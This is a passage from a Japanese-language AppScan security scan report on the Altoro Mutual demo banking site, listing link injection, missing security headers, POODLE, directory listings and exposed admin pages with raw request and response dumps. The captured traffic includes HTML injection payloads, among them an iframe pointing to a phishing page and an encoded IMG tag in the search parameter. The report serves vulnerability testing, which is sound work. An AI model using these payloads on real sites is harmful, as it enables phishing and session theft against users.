<span id="_ctl0_ctl0_Content_Main_lblSearch">1234'"> <iframe id=128 src= http://demo.testfire.net/phishing.html > ></span></p>

</div>

</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>
  |  
<a id="_ctl0_ctl0_HyperLink6" href="def
...
```

## 問題 3 / 6

## [中] リンク・インジェクション (クロスサイト・リクエスト・フォージェリーの助長)

| | |
|---|---|
| 問題: | 1379 |
| 重大度: | 中 |
| URL: | http://demo.testfire.net/search.aspx |
| パラメーター: | txtSearch |
| リスク: | ハッカーが正規のユーザーになりすまし、ユーザーのレコードを表示または改変したり、ユーザーとしてトランザクションを実行するのに使用することができる、カスタマー・セッションおよび Cookie を盗み出したり操作することができる可能性がありますWeb サーバー上の Web ページ、スクリプトおよびファイルをアップロード、改変または削除することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | 有害な文字のインジェクションに対して考えられる解決策を確認します |

### バリアント 1 / 2

**元の要求に以下の変更が適用されました:**

パラメーター 'txtSearch' の値を '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF142.html%22%3E' に設定します

**論拠:**

テスト応答にファイル「WF_XSRF.html」へのリンクが含まれていたため、テスト結果では脆弱性が示されていると考えられます。

**要求/応答:**

```
GET /search.aspx? txtSearch=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF142.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_checking.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7301
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:04 GMT

...
ult.aspx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">

<div class="fl" style="width: 99%;">

<h1>Search Results</h1>

<p>No results were found for the query:<br /><br />
<span id="_ctl0_ctl0_Content_Main_lblSearch">"> <IMG SRC="/WF_XSRF142.html"> </span></p>

</div>

</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>
  |  
<a id="_ctl0_ctl0_HyperLink6" href="default.aspx?content=se
...
...
ult.aspx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">

<div class="fl" style="width: 99%;">

<h1>Search Results</h1>
```

```
<p>No results were found for the query:<br /><br />
<span id="_ctl0_ctl0_Content_Main_lblSearch">"> <IMG SRC="/WF_XSRF142.html"> </span></p>

</div>

</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>
  |  
<a id="_ctl0_ctl0_HyperLink6" href="default.aspx?content=se
...
```

## 問題 4 / 6

## [低] X-XSS-Protection ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3595 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/search.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- パス を '/search.aspx' に設定します
- 照会ストリング を 'txtSearch=1234' に設定します

**論拠:**

AppScan は X-XSS-Protection 応答ヘッダーが欠落していることを検出しました。そのためクロスサイト・スクリプティング攻撃を許可するおそれがあります。

**要求/応答:**

```
GET /search.aspx ? txtSearch=1234 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_checking.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7274
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:53 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Search Results
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css"
/><meta name="keywords" content="Altoro Mutual, search, query, find"></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch" method="get"
...
```

## 問題 5 / 6

## [低] Content-Security-Policy ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3609 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/search.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | Content-Security-Policy ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- パス を '/search.aspx' に設定します
- 照会ストリング を 'txtSearch=1234' に設定します

**論拠:**

AppScan は Content-Security-Policy 応答ヘッダーが欠落していることを検出しました。そのため各種クロスサイト注入攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /search.aspx ? txtSearch=1234 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_checking.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7274
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:53 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Search Results
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css"
/><meta name="keywords" content="Altoro Mutual, search, query, find"></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch" method="get"
...
```

## 問題 6 / 6

## [低] X-Content-Type-Options ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3614 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/search.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-Content-Type-Options ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- パス を '/search.aspx' に設定します
- 照会ストリング を 'txtSearch=1234' に設定します

**論拠:**

AppScan は X-Content-Type-Options 応答ヘッダーが欠落していることを検出しました。そのためドライブバイ・ダウンロード攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /search.aspx ? txtSearch=1234 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_checking.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7274
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:53 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Search Results
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css"
/><meta name="keywords" content="Altoro Mutual, search, query, find"></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch" method="get"
...
```

## [中] 問題 http://demo.testfire.net - 1

## 問題 1 / 1

## [中] Padding Oracle On Downgraded Legacy Encryption (POODLE とも呼ばれる)

| | |
|---|---|
| 問題: | 1897 |
| 重大度: | 中 |
| URL: | http://demo.testfire.net |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます |
| 修正: | TLS_FALLBACK_SCSV を実装してください。さらに、SSLv3 を完全に無効にするか、SSLv3 において CBC モードで作動するすべての暗号スイートを無効にしてください。 |

### バリアント 1 / 1

**論拠:**

サーバーは、TLS_FALLBACK_SCSV を含む CBC 暗号スイートによる AppScan の SSLv3 Client Hello にハンドシェークで応答しました

**要求/応答:**

```
GET /default.aspx?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Connection: keep-alive

HTTP/1.1 200 OK
Pragma: no-cache
Content-Length: 8446
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Date: Sat, 12 Sep 2015 16:28:58 GMT
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css" /><meta name="description" content="Altoro Mutual offers a broad range of commercial, private, retail and mortgage banking services to small and middle-market businesses and individuals."></head>
<body style="margin-top:5px
...
```

## [中] 問題 http://demo.testfire.net/bank/ - 1

### 問題 1 / 1

### [中] ディレクトリーの一覧作成

| | |
|---|---|
| 問題: | 1386 |
| 重大度: | 中 |
| URL: | http://demo.testfire.net/bank/ |
| リスク: | 制限のかけられたファイルを含む可能性のある Web<br>アプリケーションの仮想ディレクトリーの内容を、表示およびダウンロードすることができます |
| 修正: | ディレクトリーの一覧表示を拒否するようにサーバーの設定を変更し、使用できる最新のセキュリティー・パッチをインストールします |

#### バリアント 1 / 2

**元の要求に以下の変更が適用されました:**

パス を '/bank/' に設定します

**論拠:**

レスポンスがディレクトリーの内容 (ディレクトリー一覧)
を含んでいます。これは、サーバーでディレクトリー内容の一覧表示が許可されていることを示しています。通常、このような設定は推奨されません。

**要求/応答:**

```
GET /bank/ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_loans.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

...

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:04 GMT
Content-Length: 2297

<html><head><title>demo.testfire.net - /bank/</title></head><body><H1>demo.testfire.net - /bank/</H1><hr>

<pre><A HREF="/">[To Parent Directory ]</A><br><br> 5/10/2015 3:25 AM &lt;dir&gt; <A
HREF="/bank/20060308_bak/">20060308_bak</A><br>11/20/2006 9:05 AM 1831 <A HREF="/bank/account.aspx">account.aspx</A><br>
6/18/2015 6:41 PM 5067 <A HREF="/bank/account.aspx.cs">account.aspx.cs</A><br>11/20/2006 9:05 AM
...
<html><head><title>demo.testfire.net - /bank/</title></head><body><H1>demo.testfire.net - /bank/</H1><hr>

<pre><A HREF="/">[To Parent Directory ]</A><br><br> 5/10/2015 3:25 AM &lt;dir&gt; <A
HREF="/bank/20060308_bak/">20060308_bak</A><br>11/20/2006 9:05 AM 1831 <A HREF="/bank/account.aspx">account.aspx</A><br>
6/18/2015 6:41 PM 5067 <A HREF="/bank/account.aspx.cs">account.aspx.cs</A><br>11/20/2006 9:05 AM
...
```

## [中] 問題 http://demo.testfire.net/pr/ - 1

### 問題 1 / 1

### [中] ディレクトリーの一覧作成

| | |
|---|---|
| 問題: | 1371 |
| 重大度: | 中 |
| URL: | http://demo.testfire.net/pr/ |
| リスク: | 制限のかけられたファイルを含む可能性のある Web<br>アプリケーションの仮想ディレクトリーの内容を、表示およびダウンロードすることができます |
| 修正: | ディレクトリーの一覧表示を拒否するようにサーバーの設定を変更し、使用できる最新のセキュリティー・パッチをインストールします |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- メソッド を 'GET' に設定します
- 本文 を '' に設定します
- パス を '/pr/' に設定します

**論拠:**

レスポンスがディレクトリーの内容 (ディレクトリー一覧)
を含んでいます。これは、サーバーでディレクトリー内容の一覧表示が許可されていることを示しています。通常、このような設定は推奨されません。

**要求/応答:**

```
GET /pr/ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:23 GMT
Content-Length: 517

<html><head><title>demo.testfire.net - /pr/</title></head><body><H1>demo.testfire.net - /pr/</H1><hr>

<pre><A HREF="/">[To Parent Directory ]</A><br><br> 7/20/2007 7:45 AM 63887 <A
HREF="/pr/communityannualreport.pdf">communityannualreport.pdf</A><br> 11/1/2006 9:13 PM 804 <A
HREF="/pr/Docs.xml">Docs.xml</A><br> 3/13/2006 9:12 AM 11281 <A HREF="/pr/Draft.rtf">Draft.rtf</A><br> 7/20/2007 8:41 AM
187754 <A
...
<html><head><title>demo.testfire.net - /pr/</title></head><body><H1>demo.testfire.net - /pr/</H1><hr>

<pre><A HREF="/">[To Parent Directory ]</A><br><br> 7/20/2007 7:45 AM 63887 <A
HREF="/pr/communityannualreport.pdf">communityannualreport.pdf</A><br> 11/1/2006 9:13 PM 804 <A
HREF="/pr/Docs.xml">Docs.xml</A><br> 3/13/2006 9:12 AM 11281 <A HREF="/pr/Draft.rtf">Draft.rtf</A><br> 7/20/2007 8:41 AM
187754 <A
...
```

## [低] 問題 http://demo.testfire.net/ - 3

### 問題 1 / 3

### [低] Content-Security-Policy ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3593 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/ |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | Content-Security-Policy ヘッダーを使用するようにサーバーを構成してください |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/' に設定します

**論拠:**

AppScan は Content-Security-Policy 応答ヘッダーが欠落していることを検出しました。そのため各種クロスサイト注入攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET / HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 9605
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:48 GMT
Set-Cookie: ASP.NET_SessionId=frpapi55hsejlw45srwnbvj1; path=/; HttpOnly
Set-Cookie: amSessionId=21248323326; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css" /><meta name="description" content="Altoro Mutual offers a broad range of commercial, private, retail and mortgage banking services to small and middle-market businesses and individuals."></head>
<body style="margin-top:5
...
```

## 問題 2 / 3

## [低] X-XSS-Protection ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3610 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/ |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/' に設定します

**論拠:**

AppScan は X-XSS-Protection 応答ヘッダーが欠落していることを検出しました。そのためクロスサイト・スクリプティング攻撃を許可するおそれがあります。

**要求/応答:**

```
GET / HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 9605
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:48 GMT
Set-Cookie: ASP.NET_SessionId=frpapi55hsejlw45srwnbvj1; path=/; HttpOnly
Set-Cookie: amSessionId=21248323326; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css" /><meta name="description" content="Altoro Mutual offers a broad range of commercial, private, retail and mortgage banking services to small and middle-market businesses and individuals."></head>
<body style="margin-top:5
...
```

## 問題 3 / 3

## [低] X-Content-Type-Options ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3612 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/ |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-Content-Type-Options ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/' に設定します

**論拠:**

AppScan は X-Content-Type-Options 応答ヘッダーが欠落していることを検出しました。そのためドライブバイ・ダウンロード攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET / HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 9605
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:48 GMT
Set-Cookie: ASP.NET_SessionId=frpapi55hsejlw45srwnbvj1; path=/; HttpOnly
Set-Cookie: amSessionId=21248323326; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css" /><meta name="description" content="Altoro Mutual offers a broad range of commercial, private, retail and mortgage banking services to small and middle-market businesses and individuals."></head>
<body style="margin-top:5
...
```

## [低] 問題 http://demo.testfire.net/admin.aspx - 1

### 問題 1 / 1

### [低] 管理ページへの直接アクセス

| | |
|---|---|
| 問題: | 2364 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/admin.aspx |
| リスク: | ユーザーの権限を拡大して、Web アプリケーションに対する管理権限を獲得することができます |
| 修正: | 管理スクリプトに適切な許可を適用します |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/admin.aspx' に設定します

**論拠:**

AppScan が、アプリケーションの正当な部分ではない可能性があるファイルをリクエストしました。レスポンスのステータスは 200 OK でした。これは、テストにおいて、リクエストされたファイルのコンテンツの取得に成功したことを示しています。

**要求/応答:**

```
GET /admin.aspx ?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:56 GMT

Smith, skipfish@example.com, skipfish, skipfish
```

## [低] 問題 http://demo.testfire.net/admin.exe - 1

### 問題 1 / 1

### [低] 圧縮ディレクトリーを発見

| | |
|---|---|
| 問題: | 3602 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/admin.exe |
| リスク: | アプリケーションのロジックとユーザー名およびパスワードなどのその他の秘密情報を公開する可能性のあるサーバー・サイド・スクリプトのソース・コードが取得できます |
| 修正: | 圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- メソッド を 'GET' に設定します
- 本文 を '' に設定します
- パス を '/admin.exe' に設定します

**論拠:**

AppScan は、要求されたファイル拡張子に一致する「Content-Type」と共に応答状況 200 OK を受け取りました。

**要求/応答:**

```
GET /admin.exe HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_other.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Fri, 26 Feb 2016 09:33:25 GMT
Accept-Ranges: bytes
ETag: "3cc2cbe7870d11:0"
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:05:28 GMT
Content-Length: 49
```

# [低] 問題 http://demo.testfire.net/admin.htm - 1

## 問題 1 / 1

## [低] 管理ページへの直接アクセス

| | |
|---|---|
| 問題: | 2357 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/admin.htm |
| リスク: | ユーザーの権限を拡大して、Web アプリケーションに対する管理権限を獲得することができます |
| 修正: | 管理スクリプトに適切な許可を適用します |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/admin.htm' に設定します

**論拠:**

AppScan が、アプリケーションの正当な部分ではない可能性があるファイルをリクエストしました。レスポンスのステータスは 200 OK でした。これは、テストにおいて、リクエストされたファイルのコンテンツの取得に成功したことを示しています。

**要求/応答:**

```
GET /admin.htm ?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Connection: keep-alive

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Fri, 26 Feb 2016 08:57:16 GMT
Accept-Ranges: bytes
ETag: "fbcd38b17370d11:0"
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:56 GMT
Content-Length: 49

Smith, skipfish@example.com, skipfish, skipfish
```

## [低] 問題 http://demo.testfire.net/admin/ - 1

### 問題 1 / 1

### [低] 非表示のディレクトリーを検出

| | |
|---|---|
| 問題: | 1375 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/admin/ |
| リスク: | 攻撃者が Web サイトをマップするのに利用できるサイトのファイル・システム構造についての情報を取得することができます |
| 修正: | 禁止されているリソースについて「404 - Not Found」レスポンス・ステータス・コードを送出するか、完全に削除します |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/admin/' に設定します

**論拠:**

テストでサーバー上の隠しディレクトリーの検出を試みました。403 Forbidden
レスポンスが返されました。これは、アクセスは許可されなかったものの、ディレクトリーの存在が漏洩したことを示しています。

**要求/応答:**

```
GET /admin/ ?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Connection: keep-alive

HTTP/1.1 403 Forbidden
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:04:19 GMT
Content-Length: 1233

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>403 - Forbidden: Access is denied.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
...
```

## [低] 問題 http://demo.testfire.net/admin/admin.aspx - 1

### 問題 1 / 1

### [低] 管理ページへの直接アクセス

| | |
|---|---|
| 問題: | 1363 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/admin/admin.aspx |
| リスク: | ユーザーの権限を拡大して、Web アプリケーションに対する管理権限を獲得することができます |
| 修正: | 管理スクリプトに適切な許可を適用します |

#### バリアント 1 / 2

**元の要求に以下の変更が適用されました:**

パス を '/admin/admin.aspx' に設定します

**論拠:**

AppScan が、アプリケーションの正当な部分ではない可能性があるファイルをリクエストしました。レスポンスのステータスは 200 OK でした。これは、テストにおいて、リクエストされたファイルのコンテンツの取得に成功したことを示しています。

**要求/応答:**

```
GET /admin/admin.aspx ?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=ins ide .htm
Connection: keep-alive

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 138
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /admin/login.aspx
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:57 GMT

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fadmin%2flogin.aspx">here</a>.</h2>
</body></html>

------------------------------------------------------------------------------

GET /admin/login.aspx HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/admin/admin.aspx?content=personal_deposit.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 8215
Content-Type: t
...
```

## [低] 問題 http://demo.testfire.net/AppScan.aspx - 1

### 問題 1 / 1

### [低] Microsoft ASP.NET のデバッグが有効

| | |
|---|---|
| 問題: | 1388 |
